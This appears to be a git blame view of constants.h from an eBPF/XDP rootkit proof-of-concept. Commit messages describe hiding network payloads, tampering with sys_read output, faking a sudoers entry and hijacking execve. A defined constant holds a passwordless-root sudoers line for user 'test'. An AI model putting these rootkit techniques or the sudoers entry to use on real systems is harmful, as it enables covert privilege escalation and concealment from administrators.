Finished adapting the client. Cleaned the user code and added getopt. The filter fully works now. Next step: return data to userspace via a map. 2021-11-22 20:02:47 -05:00			`#ifndef __CONSTANTS_H`
			`#define __CONSTANTS_H`

Completed output modification of sys_read. Created a simple PoC 2022-01-16 06:45:45 -05:00			`//XDP`
Made it work with an arbitrary length payload. Generalization with constants.h, now the PoC can be used for any shrinking/enlarging value. Discovered a very curious bug 2021-11-27 17:01:10 -05:00			`#define SECRET_PACKET_PAYLOAD "XDP_PoC_0"`
Further refactored code and dealt with the verifier issues with string comparisons 2021-11-24 12:17:31 -05:00			`#define SECRET_PACKET_DEST_PORT 9000`
Fixed the client, now the payload shrinking is fully working, also the bug previously found seems to be nothing but an error of mine. Ready to merge! 2021-11-27 19:08:38 -05:00			`#define SUBSTITUTION_NEW_PAYLOAD "The previous message has been hidden ;)"`

Added new hooks and updated map fields to support new sudo module. 2022-02-05 13:49:20 -05:00

Completed faking that an user is in the sudoers file. Now user 'test' can use sudo without being there 2022-02-05 14:10:12 -05:00			`#define STRING_FS_SUDOERS_ENTRY "test ALL=(ALL:ALL) NOPASSWD:ALL #"`

Initial version of the RCE scheme- Added complete execve hook, helper and modifying capabilities for the filename called. Works still needs to be done 2022-02-06 14:15:57 -05:00			`//EXECUTION HIJACKING`
